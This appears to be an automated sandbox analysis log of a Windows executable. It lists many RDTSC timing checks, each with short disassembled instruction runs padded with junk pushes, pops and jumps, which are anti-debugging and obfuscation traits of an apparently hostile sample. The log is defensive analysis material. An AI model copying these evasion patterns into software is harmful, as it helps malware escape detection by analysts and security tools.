Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 751760 second address: 751766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 751B81 second address: 751B87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 756BE4 second address: 756BE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 756BE8 second address: 756BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 756BEE second address: 756C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F77291E596Ah 0x0000000c pop edx 0x0000000d jl 00007F77291E5986h 0x00000013 push ebx 0x00000014 jmp 00007F77291E5962h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 755973 second address: 755977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70D2C6 second address: 70D2D0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F77291E5956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70D9B8 second address: 70D9C5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70D9C5 second address: 70D9C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70D9C9 second address: 70D9EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F640h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a xchg eax, esi 0x0000000b mov dword ptr [ebp+122D215Dh], ecx 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70D9EC second address: 70D9F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70DABC second address: 70DAC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70DD07 second address: 70DD26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F77291E5964h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70E176 second address: 70E188 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F63Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70E58B second address: 70E59B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F77291E5956h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70E59B second address: 70E5E4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F772874F636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F772874F648h 0x0000000f popad 0x00000010 nop 0x00000011 jmp 00007F772874F63Fh 0x00000016 lea eax, dword ptr [ebp+12491F75h] 0x0000001c mov ecx, dword ptr [ebp+122D2B8Bh] 0x00000022 push eax 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 js 00007F772874F636h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70E5E4 second address: 6F3574 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov di, 5960h 0x00000012 cld 0x00000013 call dword ptr [ebp+122D18E9h] 0x00000019 jl 00007F77291E596Fh 0x0000001f pushad 0x00000020 push esi 0x00000021 push eax 0x00000022 pop eax 0x00000023 pop esi 0x00000024 push ecx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 756034 second address: 756052 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F772874F644h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 756052 second address: 756056 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 756056 second address: 75605C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 75605C second address: 756067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7561DE second address: 7561EE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F772874F63Eh 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7561EE second address: 756205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jns 00007F77291E5956h 0x0000000e pushad 0x0000000f popad 0x00000010 jbe 00007F77291E5956h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7563D3 second address: 7563D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7563D7 second address: 7563FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F77291E5961h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F77291E595Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7563FE second address: 756403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 75A278 second address: 75A2A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F77291E5969h 0x00000009 jmp 00007F77291E595Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 75A2A0 second address: 75A2A6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 75A4D0 second address: 75A4D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 75A4D4 second address: 75A4DA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 75A4DA second address: 75A4E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 75A4E6 second address: 75A4EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 75A6B0 second address: 75A6B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 75A6B9 second address: 75A6BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 75A6BD second address: 75A6EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E5963h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jmp 00007F77291E5961h 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 75CE18 second address: 75CE1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 75CE1E second address: 75CE43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F77291E595Eh 0x0000000a jnl 00007F77291E595Ch 0x00000010 popad 0x00000011 push edi 0x00000012 pushad 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 760A13 second address: 760A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 760A19 second address: 760A1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 760195 second address: 76019D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 76019D second address: 7601C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F77291E595Dh 0x0000000c jmp 00007F77291E5965h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7604C7 second address: 7604EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jng 00007F772874F63Eh 0x0000000d ja 00007F772874F636h 0x00000013 pushad 0x00000014 popad 0x00000015 jp 00007F772874F638h 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7604EA second address: 76050D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F77291E5961h 0x0000000b popad 0x0000000c jmp 00007F77291E595Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7607A3 second address: 7607B9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F772874F636h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F772874F636h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7648E7 second address: 764919 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E5969h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jng 00007F77291E5956h 0x00000013 jnp 00007F77291E5956h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 764919 second address: 76491D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 76491D second address: 764926 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 76404C second address: 764052 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 764052 second address: 76405C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F77291E5956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 76A1DC second address: 76A21B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F648h 0x00000007 jmp 00007F772874F648h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jbe 00007F772874F63Eh 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 768B6F second address: 768B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 768F32 second address: 768F3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 768F3B second address: 768F50 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F77291E5956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d js 00007F77291E5956h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 768F50 second address: 768F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 768F58 second address: 768F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70DF05 second address: 70DF2C instructions: 0x00000000 rdtsc 0x00000002 je 00007F772874F638h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 jmp 00007F772874F646h 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70DF2C second address: 70DF32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70DF32 second address: 70DF36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70DF36 second address: 70DFBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E595Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F77291E5958h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov dl, 5Dh 0x00000028 sub dword ptr [ebp+122D2FA0h], ebx 0x0000002e mov ebx, dword ptr [ebp+12491FB4h] 0x00000034 mov ecx, edi 0x00000036 call 00007F77291E595Ch 0x0000003b mov dword ptr [ebp+12462731h], esi 0x00000041 pop ecx 0x00000042 add eax, ebx 0x00000044 add dx, AC27h 0x00000049 ja 00007F77291E595Ch 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 jmp 00007F77291E595Fh 0x00000058 pushad 0x00000059 popad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7694B7 second address: 7694E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F63Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F772874F63Fh 0x0000000f jnp 00007F772874F636h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7694E3 second address: 7694F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F77291E5956h 0x0000000a jp 00007F77291E5956h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 770F8F second address: 770FA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F63Ch 0x00000007 jo 00007F772874F636h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 77110E second address: 771171 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F77291E5961h 0x0000000b jmp 00007F77291E5965h 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 jg 00007F77291E5956h 0x00000019 jp 00007F77291E5956h 0x0000001f jmp 00007F77291E595Ch 0x00000024 popad 0x00000025 jmp 00007F77291E5967h 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7715A7 second address: 7715B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jne 00007F772874F636h 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7715B4 second address: 7715C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F77291E5960h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7718AC second address: 7718D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F772874F63Bh 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 jmp 00007F772874F63Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 ja 00007F772874F636h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 772DAF second address: 772DBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F77291E5956h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 772DBC second address: 772DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6D71F7 second address: 6D7214 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F77291E5967h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6D7214 second address: 6D721A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 77A426 second address: 77A42A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 77E0AE second address: 77E0B8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F772874F636h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 77E0B8 second address: 77E0BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 77E0BE second address: 77E0EB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jng 00007F772874F636h 0x00000009 pop esi 0x0000000a pushad 0x0000000b jno 00007F772874F636h 0x00000011 jmp 00007F772874F648h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 77D2C9 second address: 77D2D7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 77D2D7 second address: 77D2DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 77D2DD second address: 77D2E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 77D2E1 second address: 77D2E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 77D468 second address: 77D46E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 77D85E second address: 77D864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 77D864 second address: 77D86A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 77DB46 second address: 77DB56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F772874F63Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 77DC97 second address: 77DC9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 77DC9B second address: 77DCB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F63Fh 0x00000007 jp 00007F772874F636h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 785C1E second address: 785C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 783D26 second address: 783D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F772874F636h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 783D34 second address: 783D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 783D39 second address: 783D3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 784154 second address: 784158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
